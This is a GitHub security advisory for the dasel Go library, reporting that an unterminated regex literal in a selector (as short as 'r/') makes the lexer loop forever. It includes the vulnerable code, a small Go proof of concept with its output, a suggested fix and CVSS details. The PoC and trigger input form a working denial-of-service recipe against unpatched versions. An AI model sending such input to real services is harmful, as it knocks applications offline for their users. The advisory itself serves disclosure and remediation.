Skip to content

Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal

High severity GitHub Reviewed Published May 13, 2026 in TomWright/dasel • Updated May 19, 2026

Package

gomod github.com/tomwright/dasel/v3 (Go)

Affected versions

>= 3.0.0, < 3.10.1

Patched versions

3.10.1

Description

Summary

dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:

matchRegexPattern := func(pos int) *Token {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil
    }
    start := pos
    pos += 2
    for !p.peekRuneEqual(pos, '/') {  // line 243
        pos++
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}

When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.

Minimal trigger: r/ (2 bytes)

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
	"fmt"
	"runtime"
	"time"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{"r/unterminated", "r/"} {
		fmt.Printf("Input: %s\n", input)
		done := make(chan string, 1)
		go func() {
			t := lexer.NewTokenizer(input)
			start := time.Now()
			tokens, err := t.Tokenize()
			elapsed := time.Since(start)
			if err != nil {
				done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
			} else {
				done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
			}
		}()

		select {
		case result := <-done:
			fmt.Println(result)
		case <-time.After(5 * time.Second):
			fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
		}
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Impact

An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:

  • Web applications using dasel for dynamic data querying
  • Applications that construct selectors from user input
  • Shared tooling environments where selectors are passed as parameters

Suggested Fix

The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:

matchRegexPattern := func(pos int) (*Token, error) {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil, nil
    }
    start := pos
    pos += 2
    for pos < p.srcLen && p.src[pos] != '/' {
        pos++
    }
    if pos >= p.srcLen {
        return nil, &UnexpectedEOFError{Pos: pos}
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}

References

@TomWright TomWright published to TomWright/dasel May 13, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. Learn more on MITRE.

CVE ID

CVE-2026-46378

GHSA ID

GHSA-m6xr-fvfg-5g64

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.